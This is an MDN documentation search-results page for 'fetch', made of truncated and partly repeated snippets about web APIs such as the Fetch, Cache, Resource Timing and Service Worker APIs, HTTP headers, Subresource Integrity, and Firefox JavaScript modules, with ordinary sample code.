...he caller of webassembly.instantiate() must pass in an import object that has the corresponding properties. for the above, we need an object (let's call it importobject) such that importobject.console.log is a javascript function. this would look like the following: var importobject = { console: { log: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('logger.wasm'), importobject) .then(obj => { obj.instance.exports.logit(); }); note: you can find this example on github as logger.html (see it live also). declaring globals in webassembly webassembly has the ability to create global variable instances, accessible from both javascript and importable/exportable across one or more webassembly.module instances. this is very useful, as i...
...And 4 more matches
Command line crash course - Learn web development
ut from one command can become the input to the next command. in this case, ls would normally print its output to stdout, but instead ls’s output is being piped into wc, which takes that output as an input, counting the number of lines it contains, and prints that count to stdout instead. a slightly more complex example let’s go through something a bit more complicated. we will first try to fetch the contents of mdn's "fetch" page using the curl command (which can be used to request content from urls), from /docs/web/api/fetch. however, this url is the old location of the page. if you enter it in a new browser tab, you’ll (eventually) get redirected to /docs/web/api/windoworworkerglobalscope/fetch. therefore, if you use curl to request /docs/web/api/fetch, you won’t get an output. t...
...page using the curl command (which can be used to request content from urls), from /docs/web/api/fetch. however, this url is the old location of the page. if you enter it in a new browser tab, you’ll (eventually) get redirected to /docs/web/api/windoworworkerglobalscope/fetch. therefore, if you use curl to request /docs/web/api/fetch, you won’t get an output. try it now: curl /docs/web/api/fetch we need to explicitly tell curl to follow redirects using the -l flag. let's also look at the headers that developer.mozilla.org returns using curl's -i flag, and print all the location redirects it sends to the terminal, by piping the output of curl into grep (we will ask grep to return all the lines that contain the word "location"). try running the following, and you’ll see that in fact t...
...ok at the headers that developer.mozilla.org returns using curl's -i flag, and print all the location redirects it sends to the terminal, by piping the output of curl into grep (we will ask grep to return all the lines that contain the word "location"). ...
...And 3 more matches
PerformanceResourceTiming - Web APIs
the performanceresourcetiming interface enables retrieval and analysis of detailed network timing data regarding the loading of an application's resources. an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource, such as an xmlhttprequest, <svg>, image, or script. the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, fetch start, dns lookup start and end times, response start and end times, etc.. additionally, the interface extends performanceentry with other properties which provide data about the size of the fetched resource as well as the type of resource that initiated the fetch. <div id="interfacediagram" style="displa...
...is available in web workers. properties this interface extends the following performanceentry properties for resource performance entry types by qualifying and constraining them as follows: performanceentry.entrytyperead only returns "resource". performanceentry.nameread only returns the resources url. performanceentry.starttimeread only returns the timestamp for the time a resource fetch started. this value is equivalent to performanceentry.fetchstart. performanceentry.durationread only returns a timestamp that is the difference between the responseend and the starttime properties. the interface also supports the following properties which are listed in the order in which they are recorded for the fetching of a single resource. an alphabetical listing is shown in the navigat...
...ed for the fetching of a single resource. an alphabetical listing is shown in the navigation, at left. performanceresourcetiming.initiatortyperead only a string representing the type of resource that initiated the performance entry, as specified in performanceresourcetiming.initiatortype. performanceresourcetiming.nexthopprotocolread only a string representing the network protocol used to fetch the resource, as identified by the alpn protocol id (rfc7301). performanceresourcetiming.workerstartread only returns a domhighrestimestamp immediately before dispatching the fetchevent if a service worker thread is already running, or immediately before starting the service worker thread if it is not already running. if the resource is not intercepted by a service worker the property will alw...
...And 3 more matches
Response - Web APIs
Web › API › Response
constructor response() creates a new response object. properties response.headers read only the headers object associated with the response. response.ok read only a boolean indicating whether the response was successful (status in the range 200–299) or not. ...
... constructor response() creates a new response object. properties response.headers read only the headers object associated with the response. response.ok read only a boolean indicating whether the response was successful (status in the range 200–299) or not. ...
... constructor response() creates a new response object. properties response.headers read only the headers object associated with the response. response.ok read only a boolean indicating whether the response was successful (status in the range 200–299) or not. ...
...And 3 more matches
Link types - HTML: Hypertext Markup Language
e, or a blog aggregator. <a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization. <link> <a>, <area>, <form> dns-prefetch hints to the browser that a resource is needed, allowing the browser to do a dns lookup and protocol handshaking before a user clicks the link. <link> <a>, <area>, <form> external indicates that the hyperlink leads to a resource outside the site of the current page; that is, following the link will make the user leave the site. <a>, <area>, <form> <link> firs...
...note: if the x-pingback: http header is also present, it supersedes the <link> element with this link type. ...
... the <link> element with this link type. <link> <a>, <area>, <form> preconnect provides a hint to the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly. <link> <a>, <area>, <form> prefetch suggests that the browser fetch the linked resource in advance, as it is likely to be requested by the user. starting with firefox 44, the value of the crossorigin attribute is taken into consideration, making it possible to make anonymous prefetches. note: the link prefetch faq has details on which links can be prefetched and on alternative methods. <link> <a>, <area>, <form> ...
...And 3 more matches
An overview of HTTP - HTTP
Web › HTTP › Overview
clients and servers communicate by exchanging individual messages (as opposed to a stream of data). the messages sent by the client, usually a web browser, are called requests and the messages sent by the server as an answer are called responses. designed in the early 1990s, http is an extensible protocol which has evolved over time. ...
...r, are called requests and the messages sent by the server as an answer are called responses. designed in the early 1990s, http is an extensible protocol which has evolved over time. it is an application layer protocol that is sent over tcp, or over a tls-encrypted tcp connection, though any reliable transport protocol could theoretically be used. due to its extensibility, it is used to not only fetch hypertext documents, but also images and videos or to post content to servers, like with html form results. http can also be used to fetch parts of documents to update web pages on demand. components of http-based systems http is a client-server protocol: requests are sent by one entity, the user-agent (or a proxy on behalf of it). most of the time the user-agent is a web browser, but it can be...
... user. this role is primarily performed by the web browser; other possibilities are programs used by engineers and web developers to debug their applications. the browser is always the entity initiating the request. it is never the server (though some mechanisms have been added over the years to simulate server-initiated messages). ...
...And 3 more matches
Promise.any() - JavaScript
k" rejections with aggregateerror promise.any() rejects with an aggregateerror if no promise fulfils. ...
...th an aggregateerror if no promise fulfils. const perr = new promise((resolve, reject) => { reject('always fails'); }); promise.any([perr]).catch((err) => { console.log(err); }) // expected output: "aggregateerror: no promise in promise.any was resolved" displaying the first image loaded in this example, we have a function that fetches an image and returns a blob. we use promise.any() to fetch a couple of images and display the first one available (i.e. ...
...ays fails'); }); promise.any([perr]).catch((err) => { console.log(err); }) // expected output: "aggregateerror: no promise in promise.any was resolved" displaying the first image loaded in this example, we have a function that fetches an image and returns a blob. we use promise.any() to fetch a couple of images and display the first one available (i.e. whose promise has resolved). ...
...And 3 more matches
Creating a dynamic status bar extension - Archive of obsolete content
specifically, this sample displays a stock quote in the status bar, and, when you mouse over it, displays a tooltip containing more detailed information about the stock. ...
..."stockwatcher.refreshinformation()" /> </statusbar> </overlay> also, notice that the definition of the status bar panel now includes a new property, onclick, which references the javascript function that will be executed whenever the user clicks on the status bar panel. our extension will refresh the stock information display when the user clicks the panel. write the javascript code the work of fetching the stock quote and updating the status bar panel's display is handled by the javascript code in the file stockwatcher.js. unlike our previous sample, this one is implemented as an object. we do this because in future samples in this series, we're going to be doing things that are easier to do if our extension is implemented that way. we use the window.addeventlistener() dom function to tell f...
...we do this so that upon loading, the stock information is displayed as soon as possible. after doing that, we install an interval routine on the browser window by calling window.setinterval(). this configures our refreshinformation() routine to be called every 10 minutes (the time interval is specified in milliseconds). refreshin...
...And 2 more matches
Downloads.jsm
oading capabilities of the platform, including starting new downloads, controlling ongoing downloads, and retrieving download-related configuration. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started from a private browsing window. private work on downloads that were started from a private browsing window. all work o...
...downloads.public downloads. properties attribute type description error read only constructor constructor for a downloaderror object. when you catch an exception during a download, you can use this to verify if ex instanceof downloads.error, before reading the exception properties with the error details. example (using task.jsm): try { yield downloads.fetch(sourceuri, targetfile); } catch (ex if ex instanceof downloads.error && ex.becausetargetfailed) { console.log("unable to write to the target file, ignoring the error."); } methods createdownload() creates a new download object. promise<download> createdownload( object aproperties ); parameters aproperties provides the initial properties for the newly created download. this...
...an nsifile, a downloadtarget object, or an object with the following properties: path: string containing the path of the target file. saver: optional string representing the class of the download operation. if omitted, defaults to "copy". alternatively, may be the serializable representation of a downloadsaver object. promise resolves to the newly created download object. fetch() downloads data from a remote network location to a local file. this download method does not provide user interface or the ability to cancel or restart the download programmatically. for that, you should obtain a reference to a download object using the createdownload() function. since the download cannot be restarted, any partially downloaded data will not be kept in case the download fails...
...And 2 more matches
Cache.match() - Web APIs
Web › API › Cache › match
cache.match() is basically identical to cache.matchall(), except that rather than resolving with an array of all matching responses, it resolves with the first matching response only (that is, response[0]). examples this example is taken from the custom offline page example (live demo). it uses a cache to supply selected data when a request fails. ...
...s taken from the custom offline page example (live demo). it uses a cache to supply selected data when a request fails. a catch() clause is triggered when the call to fetch() throws an exception. inside the catch() clause, match() is used to return the correct response. in this example, only html documents retrieved with the get http verb will be cached. if our if() condition is false, then this fetch handler won't intercept the request. if there are any other fetch handlers registered, they will get a chance to call event.respondwith(). if no fetch handlers call event.respondwith(), the request will be handled by the browser as if there were no service worker involvement. if fetch() returns a valid http response with an response code in the 4xx or 5xx range, the catch() will not be called. ...
...t the request. if there are any other fetch handlers registered, they will get a chance to call event.respondwith(). if no fetch handlers call event.respondwith(), the request will be handled by the browser as if there were no service worker involvement. if fetch() returns a valid http response with an response code in the 4xx or 5xx range, the catch() will not be called. self.addeventlistener('fetch', function(event) { // we only want to call event.respondwith() if this is a get request for an html document. ...
...And 2 more matches
CacheStorage - Web APIs
l the cache objects. examples this code snippet is from the mdn sw-test example (see sw-test running live.) this service worker script waits for an installevent to fire, then runs waituntil to handle the install process for the app. this consists of calling cachestorage.open to create a new cache, then using cache.addall to add a series of assets to it. in the second code block, we wait for a fetchevent to fire. we construct a custom response like so: check whether a match for the request is found in the cachestorage. if so, serve that. if not, fetch the request from the network, then also open the cache created in the first block and add a clone of the request to it using cache.put (cache.put(event.request, response.clone()).) if this fails (e.g. because the network is down), return a...
... found in the cachestorage. if so, serve that. if not, fetch the request from the network, then also open the cache created in the first block and add a clone of the request to it using cache.put (cache.put(event.request, response.clone()).) if this fails (e.g. because the network is down), return a fallback response. finally, return whatever the custom response ended up being equal to, using fetchevent.respondwith. self.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/bountyhunters.jpg', '...
...) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); self.addeventlistener('fetch', function(event) { event.respondwith(caches.match(event.request).then(function(response) { // caches.match() always resolves // but in case of success response will have value if (response !== undefined) { return response; } else { return fetch(event.request).then(function (response) { // response may be used only once // we need to save clone to put...
...And 2 more matches
Request - Web APIs
Web › API › Request
constructor request() creates a new request object. properties request.cache read only contains the cache mode of the request (e.g., default, reload, no-cache). request.context read only contains the context of the request (e.g., audio, image, iframe, etc.) request.credentials read only contains the credentials of the request (e.g., omit, same-origin, include). the default is same-origin. ...
...s/arraybuffers. ...
...constructor (for an image file in the same directory as the script), then return some property values of the request: const request = new request('https://www.mozilla.org/favicon.ico'); const url = request.url; const method = request.method; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following snippet, we create a new request using the request() constructor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"...
...And 2 more matches
Using the Resource Timing API - Web APIs
the resource timing api provides a way to retrieve and analyze detailed network timing data regarding the loading of an application's resource(s). an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource such as an xmlhttprequest, <svg>, image, script, etc.). the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, fetch start, dns lookup start and end times, response start and end times, etc. the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch. this document shows the use of resource timing interfaces. for more details about ...
...urce loading phases the following example illustrates using the resource timing properties to calculate the amount of time the following phases take: redirection (redirectstart and redirectend ), dns lookup (domainlookupstart and domainlookupend), tcp handshake (connectstart and connectend), and response (responsestart and responseend). this example also calculates the time from the start of the fetch and request start phases (fetchstart and requeststart, respectively), until the response has ended (responseend). this timing data provides a detailed profile of the resource loading phases and this data can be used to help identify performance bottlenecks. function calculate_load_times() { // check performance support if (performance === undefined) { console.log("= calculate load times:...
...].connectstart; console.log("... tcp time = " + t); // secure connection time t = (resources[i].secureconnectionstart > 0) ? (resources[i].connectend - resources[i].secureconnectionstart) : "0"; console.log("... secure connection time = " + t); // response time t = resources[i].responseend - resources[i].responsestart; console.log("... response time = " + t); // fetch until response end t = (resources[i].fetchstart > 0) ? (resources[i].responseend - resources[i].fetchstart) : "0"; console.log("... fetch until response end time = " + t); // request start until reponse end t = (resources[i].requeststart > 0) ? (resources[i].responseend - resources[i].requeststart) : "0"; console.log("... request start until response end time = " + t); /...
...And 2 more matches
Response.statusText - Web APIs
the statustext read-only property of the response interface contains the status message corresponding to the status code (e.g., ok for 200). syntax var mystatustext = response.statustext; value a bytestring. the default value is "". example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. ...
... the statustext read-only property of the response interface contains the status message corresponding to the status code (e.g., ok for 200). syntax var mystatustext = response.statustext; value a bytestring. the default value is "". example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. ...
... property of the response interface contains the status message corresponding to the status code (e.g., ok for 200). syntax var mystatustext = response.statustext; value a bytestring. the default value is "". example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. ...
...And 2 more matches
Service Worker API - Web APIs
this fires, for example by creating a cache using the built in storage api, and placing assets inside it that you'll want for running your app offline. there is also an activate event. the point where this event fires is generally a good time to clean up old caches and other things associated with the previous version of your service worker. your service worker can respond to requests using the fetchevent event. you can modify the response to these requests in any way you want, using the fetchevent.respondwith method. note: because oninstall/onactivate could take a while to complete, the service worker spec provides a waituntil method, once this is called oninstall or onactivate, it passes a promise. functional events are not dispatched to the service worker until the promise is successfull...
...rigins. receiving centralized updates to expensive-to-calculate data such as geolocation or gyroscope, so multiple pages can make use of one set of data. client-side compiling and dependency management of coffeescript, less, cjs/amd modules, etc. for development purposes. hooks for background services. custom templating based on certain url patterns. performance enhancements, for example pre-fetching resources that the user is likely to need in the near future, such as the next few pictures in a photo album. in the future, service workers will be able to do a number of other useful things for the web platform that will bring it closer towards native app viability. interestingly, other specifications can and will start to make use of the service worker context, for example: background ...
...orker, which is controlled by an active worker. clients represents a container for a list of client objects; the main way to access the active service worker clients at the current origin. extendableevent extends the lifetime of the install and activate events dispatched on the serviceworkerglobalscope, as part of the service worker lifecycle. ...
...And 2 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
Web › HTML › Element › audio
ents whose source will be set at a later time, under user control. see our autoplay guide for additional information about how to properly use autoplay. controls if this attribute is present, the browser will offer controls to allow the user to control audio playback, including volume, seeking, and pause/resume playback. crossorigin this enumerated attribute indicates whether to use cors to fetch the related audio file. cors-enabled resources can be reused in the <canvas> element without being tainted. the allowed values are: anonymous sends a cross-origin request without a credential. in other words, it sends the origin: http header without a cookie, x.509 certificate, or performing http basic authentication. if the server does not give credentials to the origin site (by not settin...
...icted. use-credentials sends a cross-origin request with a credential. in other words, it sends the origin: http header with a cookie, a certificate, or performing http basic authentication. if the server does not give credentials to the origin site (through access-control-allow-credentials: http header), the image will be tainted and its usage restricted. when not present, the resource is fetched without a cors request (i.e. without sending the origin: http header), preventing its non-tainted used in <canvas> elements. if invalid, it is handled as if the enumerated keyword anonymous was used. see cors settings attributes for additional information. currenttime reading currenttime returns a double-precision floating-point value indicating the current playback position, in seconds, of...
...t indicates whether the audio will be initially silenced. its default value is false. preload this enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience. it may have one of the following values: none: indicates that the audio should not be preloaded. metadata: indicates that only audio metadata (e.g. length) is fetched. auto: indicates that the whole audio file can be downloaded, even if the user is not expected to use it. empty string: a synonym of the auto value. the default value is different for each browser. the spec advises it to be set to metadata. usage notes: the autoplay attribute has precedence over preload. if autoplay is specified, the browser would obviously need to start download...
...And 2 more matches
<script>: The Script element - HTML: Hypertext Markup Language
Web › HTML › Element › script
ement that accepts metadata content, or any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlscriptelement attributes this element includes the global attributes. asynchtml5 for classic scripts, if the async attribute is present, then the classic script will be fetched in parallel to parsing and evaluated as soon as it is available. for module scripts, if the async attribute is present then the scripts and all their dependencies will be executed in the defer queue, therefore they will get fetched in parallel to parsing and evaluated as soon as they are available. this attribute allows the elimination of parser-blocking javascript where the browser would h...
...ult. scripts with the defer attribute will execute in the order in which they appear in the document. this attribute allows the elimination of parser-blocking javascript where the browser would have to load and evaluate scripts before continuing to parse. async has a similar effect in this case. integrity this attribute contains inline metadata that a user agent can use to verify that a fetched resource has been delivered free of unexpected manipulation. see subresource integrity. nomodule this boolean attribute is set to indicate that the script should not be executed in browsers that support es2015 modules — in effect, this can be used to serve fallback scripts to older browsers that do not support modular javascript code. nonce a cryptographic nonce (number used once) to whit...
...at do not support modular javascript code. nonce a cryptographic nonce (number used once) to whitelist scripts in a script-src content-security-policy. the server must generate a unique nonce value each time it transmits a policy. it is critical to provide a nonce that cannot be guessed as bypassing a resource's policy is otherwise trivial. referrerpolicy indicates which referrer to send when fetching the script, or resources fetched by the script: no-referrer: the referer header will not be sent. no-referrer-when-downgrade (default): the referer header will not be sent to origins without tls (https). origin: the sent referrer will be limited to the origin of the referring page: its scheme, host, and port. origin-when-cross-origin: the referrer sent to other origins will be limite...
...And 2 more matches
Using the application cache - HTML: Hypertext Markup Language
ersion of the manifest and the resources listed in the manifest. this is done in the background and does not affect performance significantly. ...
...ds the document and then fetches all the entries listed in the manifest file, creating the first version of the application cache. subsequent visits to that document cause the browser to load the document and other assets specified in the manifest file from the application cache (not from the server). in addition, the browser also sends a checking event to the window.applicationcache object, and fetches the manifest file, following the appropriate http caching rules. if the currently-cached copy of the manifest is up-to-date, the browser sends a noupdate event to the applicationcache object, and the update process is complete. ...
...cache object, and fetches the manifest file, following the appropriate http caching rules. if the currently-cached copy of the manifest is up-to-date, the browser sends a noupdate event to the applicationcache object, and the update process is complete. note that if you change any cached resources on the server, you must also change the manifest file itself, so that the browser knows it needs to fetch all the resources again. if the manifest file has changed, all the files listed in the manifest—as well as those added to the cache by calling applicationcache.add()—are fetched into a temporary cache, following the appropriate http caching rules. for each file fetched into this temporary cache, the browser sends a progress event to the applicationcache object. if any errors occur, the brows...
...And 2 more matches
HTTP headers - HTTP
Web › HTTP › Headers
ard in rfc 6648; others are listed in an iana registry, whose original content was defined in rfc 4229. iana also maintains a registry of proposed new http headers. headers can be grouped according to their contexts: general headers apply to both requests and responses, but with no relation to the data transmitted in the body. request headers contain more information about the resource to be fetched, or about the client requesting the resource. response headers hold additional information about the response, like its location or about the server providing it. entity headers contain information about the body of the resource, like its content length or mime type. headers can also be grouped according to how proxies handle them: connection keep-alive proxy-authenticate proxy-author...
...w long the results of a preflight request can be cached. access-control-request-headers used when issuing a preflight request to let the server know which http headers will be used when the actual request is made. access-control-request-method used when issuing a preflight request to let the server know which http method will be used when the actual request is made. origin indicates where a fetch originates from. timing-allow-origin specifies origins that are allowed to see values of attributes retrieved via features of the resource timing api, which would otherwise be reported as zero due to cross-origin restrictions. do not track dnt expresses the user's tracking preference. tk indicates the tracking status of the corresponding response. downloads content-disposition ind...
...ated and removed in favor of certificate transparency and expect-ct. public-key-pins associates a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates. public-key-pins-report-only sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated. fetch metadata request headers sec-fetch-site it is a request header that indicates the relationship between a request initiator's origin and its target's origin. it is a structured header whose value is a token with possible values cross-site, same-origin, same-site, and none. sec-fetch-mode it is a request header that indicates the request's mode to a server. it is a structured header whose val...
...And 2 more matches
WebAssembly.instantiate() - JavaScript
tion and instantiation in one step. the returned promise resolves to both a compiled webassembly.module and its first webassembly.instance. the secondary overload takes an already-compiled webassembly.module and returns a promise that resolves to an instance of that module. this overload is useful if the module has already been compiled. important: this method is not the most efficient way of fetching and instantiating wasm modules. if at all possible, you should use the newer webassembly.instantiatestreaming() method instead, which fetches, compiles, and instantiates a module all in one step, directly from the raw bytecode, so doesn't require conversion to an arraybuffer. syntax primary overload — taking wasm binary code promise<resultobject> webassembly.instantiate(buffersource, imp...
...ot of the correct type or structure, a typeerror is thrown. if the operation fails, the promise rejects with a webassembly.compileerror, webassembly.linkerror, or webassembly.runtimeerror, depending on the cause of the failure. examples note: you'll probably want to use webassembly.instantiatestreaming() in most cases, as it is more efficient than instantiate(). ...
...peerror is thrown. if the operation fails, the promise rejects with a webassembly.compileerror, webassembly.linkerror, or webassembly.runtimeerror, depending on the cause of the failure. examples note: you'll probably want to use webassembly.instantiatestreaming() in most cases, as it is more efficient than instantiate(). ...
...And 2 more matches
Subresource Integrity - Web security
note: for subresource-integrity verification of a resource served from an origin other than the document in which it’s embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin. ...
...works (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth. however, using cdns also comes with a risk, in that if an attacker gains control of a cdn, the attacker can inject arbitrary malicious content into files on the cdn (or replace the files completely) and thus can also potentially attack all sites that fetch files from that cdn. subresource integrity enables you to mitigate some risks of attacks such as this, by ensuring that the files your web application or web document fetches (from a cdn or anywhere) have been delivered without a third-party having injected any additional content into those files — and without any other changes of any kind at all having been made to those files. using subreso...
... an integrity value begins with at least one string, with each string including a prefix indicating a particular hash algorithm (currently the allowed prefixes are sha256, sha384, and sha512), followed by a dash, and ending with the actual base64-encoded hash. ...
...And 2 more matches
Introduction to web APIs - Learn web development
the most obvious example is the dom (document object model) api, which allows you to manipulate html and css — creating, removing and changing html, dynamically applying new styles to your page, etc. every time you see a popup window appear on a page or some new content displayed, for example, that's the dom in action. find out more about these types of api in manipulating documents. apis that fetch data from the server to update small sections of a webpage on their own are very commonly used. this seemingly small detail has had a huge impact on the performance and behaviour of sites — if you just need to update a stock listing or list of available new stories, doing it instantly without having to reload the whole entire page from the server can make the site or app feel much more responsi...
...very commonly used. this seemingly small detail has had a huge impact on the performance and behaviour of sites — if you just need to update a stock listing or list of available new stories, doing it instantly without having to reload the whole entire page from the server can make the site or app feel much more responsive and "snappy". apis that make this possible include xmlhttprequest and the fetch api. you may also come across the term ajax, which describes this technique. find out more about such apis in fetching data from the server. apis for drawing and manipulating graphics are now widely supported in browsers — the most popular ones are canvas and webgl, which allow you to programmatically update the pixel data contained in an html <canvas> element to create 2d and 3d scenes. for e...
... request = new xmlhttprequest(); request.open('get', requesturl); request.responsetype = 'json'; request.send(); request.onload = function() { const superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } note: you can see this code in action in our ajax.html example (see it live also). the first five lines specify the location of the resource we want to fetch, create a new instance of a request object using the xmlhttprequest() constructor, open an http get request to retrieve the specified resource, specify that the response should be sent in json format, then send the request. the onload handler function then specifies what we do with the response. we know the response will be successfully returned and available after the load event has fired (unle...
...have a good idea of what apis are, how they work, and what you can do with them in your javascript code. ...
Application cache implementation overview
sly remembered fallback entry. it's actually a redirect to the fallback url loading from the associated nsiapplicationcache. updating an existing cache or first download of an offline cache the process of updating or first caching is invoked asynchronously from nscontentsink::processofflinemanifest() using nsofflinecacheupdateservice. the implementation of offline cache update is in /uriloader/prefetch. nsofflinecacheupdateservice is used to collect, schedule and generally take care of updates and its queue. only one update is running at the time. nsofflinecacheupdate it self is the core of the update process. during initiation the update is first looking for an existing nsiapplicationcache object using nsiapplicationcacheservice::getactivecache() with the manifest url to load from as an argume...
...ctivated after all following long and complicated download process passes. until that it is not used for loading resources from. after these steps the update is in initialized state waiting to be scheduled. when the update is about to actually start, the scheduling service calls nsofflinecacheupdate::begin() method, that switches the update to checking state (+invokes onchecking event) and starts fetch of the manifest file. note: whenever a load of an items (including the manifest) fails due to a network or server error or leads to a redirect, the update fails and completely rollbacks any changes made (i.e. all files downloaded are deleted and the new cache version is discarded.) an md5 hash is then calculated from the manifest content we download from the server to be compared to existing md5 ...
...ges made (i.e. all files downloaded are deleted and the new cache version is discarded.) an md5 hash is then calculated from the manifest content we download from the server to be compared to existing md5 (in case of an “update”). during the load, manifest is parsed according the “parsing the cache manifest” html5 spec, and lists of entries and namespaces are collected. after the manifest fetch is done, nsofflinecacheupdate::loadcompleted() is called. nsofflinecacheupdate::loadcompleted() is called for each finished entry load, including the manifest and is the main place handling each update state as following: on checking state, a state the update is at after manifest parsing has been done, loadcompleted checks whether the new hash, i.e. the manifest content, differs or this i...
...loadcompleted() is called for each finished entry load, including the manifest and is the main place handling each update state as following: on checking state, a state the update is at after manifest parsing has been done, loadcompleted checks whether the new hash, i.e. the manifest content, differs or this is just “first download”. if so, the update switches to downloading state and fetches in parallel items listed in the manifest by call to nsofflinecacheupdate::processnexturi(). if the new hash is identical, update invokes onnoupdate event and is 'finished'. then it associates any documents waiting for this update to finish with the current existing nsiapplicationcache. if the manifest load failed, onerror event is invoked and the update 'finishes'. the parallel load...
CustomizableUI.jsm
stomizableui should look. this matters because of course xul-provided widgets could be available in some windows but not others, and likewise api-provided widgets might not exist in a private window (because of the showinprivatebrowsing property). return value an array of widget wrappers. getwidgetidsinarea() get an array of all the widget ids placed in an area. this is roughly equivalent to fetching the currentset attribute and splitting by commas in the legacy apis. modifying the array will not affect customizableui. nb: will throw if called too early (before placements have been fetched) or if the area is not currently known to customizableui. parameters aarea the id of the area whose placements you want to obtain. return value an array containing the widget ids that are in the...
...s the same as calling getwidgetidsinarea and .map()-ing the result through customizableui.getwidget. careful: this means that if there are ids in there which don't have corresponding dom nodes (like in the old-style currentset attribute), there might be nulls in this array, or items for which wrapper.forwindow(win) will return null. nb: will throw if called too early (before placements have been fetched) or if the area is not currently known to customizableui. parameters aarea the id of the area whose widgets you want to obtain. return value an array containing the widget wrappers and/or null values for the widget ids placed in an area. getareatype() check what kind of area (toolbar or menu panel) an area is. this is useful if you have a widget that needs to behave differently depend...
...articular, if you're wanting to check it in relation to a widget's node, your dom node might not be a direct child of the customize target in a window if, for instance, the window is in customization mode, or if this is an overflowable toolbar and the widget has been overflowed. parameters aarea the id of the area whose customize target you want to have awindow the window where you want to fetch the dom node. return value the customize target dom node for aarea in awindow reset() reset the customization state back to its default. this is the nuclear option. you should never call this except if the user explicitly requests it. firefox does this when the user clicks the "restore defaults" button in customize mode. undoreset() undoes a previous reset, restoring the state of the ui t...
...(widget) object. nb: this is unlikely to be useful unless you're in firefox code, because this code uses the builtin widget stringbundle, and can't be told to use add-on-provided strings. it's mainly here as convenience for custom builtin widgets that build their own dom but use the same stringbundle as the other builtin widgets. parameters awidget the object whose property we should use to fetch a localizable string aprop the property on the object to use for the fetching aformatargs (optional) any extra arguments to use for a formatted string adef (optional) the default to return if we don't find the string in the stringbundle return value the localized string, or adef if the string isn't in the bundle. if adef is not provided, and if aprop exists on awidget, we'll return that...
FxAccountsProfileClient.jsm
token string bearer token. constructor fxaccountsprofileclient() creates and returns a new fxaccountsprofileclient object. ...
... token string bearer token. constructor fxaccountsprofileclient() creates and returns a new fxaccountsprofileclient object. ...
...fileclient() creates and returns a new fxaccountsprofileclient object. fxaccountsprofileclient fxaccountsprofileclient( object options string serverurl, string token ); parameters serverurl - firefox profile server url. token - firefox accounts oauth bearer token. return value a newly created fxaccountsprofileclient object implementing the methods described in this article. methods fetchprofile() fetches firefox accounts profile information. parameters none return value promise resolves: object - successful response from the '/profile' endpoint. rejects: fxaccountsprofileclienterror - profile client error. examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", ...
...formation. parameters none return value promise resolves: object - successful response from the '/profile' endpoint. rejects: fxaccountsprofileclienterror - profile client error. examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object. fxaccountsprofileclienterror attributes name string name of the error fxaccountsprofileclienterror code number status code of the request errno number error number error ...
NetUtil.jsm
common network related tasks. to use these utilities, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/netutil.jsm"); once you've imported the module, you can then use its methods. ...
... // finally, we need an input stream to take data from. const test_data = "this is a test string"; let istream = cc["@mozilla.org/io/string-input-stream;1"]. createinstance(ci.nsistringinputstream); istream.setdata(test_data, test_data.length); netutil.asynccopy(istream, ostream, function(aresult) { if (!components.issuccesscode(aresult)) { // an error occurred! } }) asyncfetch() the asyncfetch() method opens an input source, asynchronously, and gives an nsiinputstream containing the data obtained to the callback provided. the callback may then consume data from the input stream passed to the callback. note: prior to gecko 2, the input source was required to be specified as an nsichannel. note: support for specifying an nsiinputstream as the input source was added...
